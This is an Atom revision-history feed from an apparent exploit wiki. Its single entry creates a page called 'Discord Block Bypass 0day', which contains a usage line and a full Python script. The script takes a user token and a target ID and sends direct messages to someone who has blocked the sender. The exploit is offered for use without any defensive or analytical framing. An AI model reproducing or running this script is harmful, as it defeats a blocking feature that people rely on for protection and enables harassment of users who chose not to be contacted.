<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Discord_Block_Bypass_0day</id>
	<title>Discord Block Bypass 0day - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Discord_Block_Bypass_0day"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Discord_Block_Bypass_0day&amp;action=history"/>
	<updated>2026-04-16T23:53:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Discord_Block_Bypass_0day&amp;diff=861&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Usage== &lt;pre&gt; $ python example.py &lt;token&gt; &lt;client id&gt; &lt;/pre&gt;  ==Exploit== &lt;pre&gt; # Name: Block Bypass # Description: Send messages to blocked users # Author: checksum (@0dayS...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Discord_Block_Bypass_0day&amp;diff=861&amp;oldid=prev"/>
		<updated>2021-04-01T05:21:34Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Usage== &amp;lt;pre&amp;gt; $ python example.py &amp;lt;token&amp;gt; &amp;lt;client id&amp;gt; &amp;lt;/pre&amp;gt;  ==Exploit== &amp;lt;pre&amp;gt; # Name: Block Bypass # Description: Send messages to blocked users # Author: checksum (@0dayS...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Usage==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ python example.py &amp;lt;token&amp;gt; &amp;lt;client id&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Exploit==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Name: Block Bypass&lt;br /&gt;
# Description: Send messages to blocked users&lt;br /&gt;
# Author: checksum (@0daySkid)&lt;br /&gt;
# Original founder: Yaekith&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
class Exploit:&lt;br /&gt;
&lt;br /&gt;
    def __init__(self, token, client):&lt;br /&gt;
        self.token = token&lt;br /&gt;
        self.client_id = client&lt;br /&gt;
        self.headers = {'Authorization': token}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    def _get_channel_id(self, client_id):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot; return channel id from client id &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        res = requests.post('https://discordapp.com/api/v6/users/@me/channels', headers=self.headers, json={'recipient_id': self.client_id})&lt;br /&gt;
        return res.json().get('id')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    def execute(self, message):&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot; send message to client &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        channel_id = self._get_channel_id(self.client_id)&lt;br /&gt;
        return requests.post(f'https://discordapp.com/api/v6/channels/{channel_id}/messages', headers=self.headers, json={'content': message})&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
def main():&lt;br /&gt;
    if len(sys.argv) &amp;lt; 3:&lt;br /&gt;
        print(f'Usage: py {sys.argv[0]} &amp;lt;token&amp;gt; &amp;lt;client id&amp;gt;')&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
    token = sys.argv[1]&lt;br /&gt;
    client_id = sys.argv[2]&lt;br /&gt;
&lt;br /&gt;
    exploit = Exploit(token, client_id)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        message = input(&amp;quot;Message &amp;gt; &amp;quot;)&lt;br /&gt;
        if not message:&lt;br /&gt;
            continue&lt;br /&gt;
&lt;br /&gt;
        exploit.execute(message)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>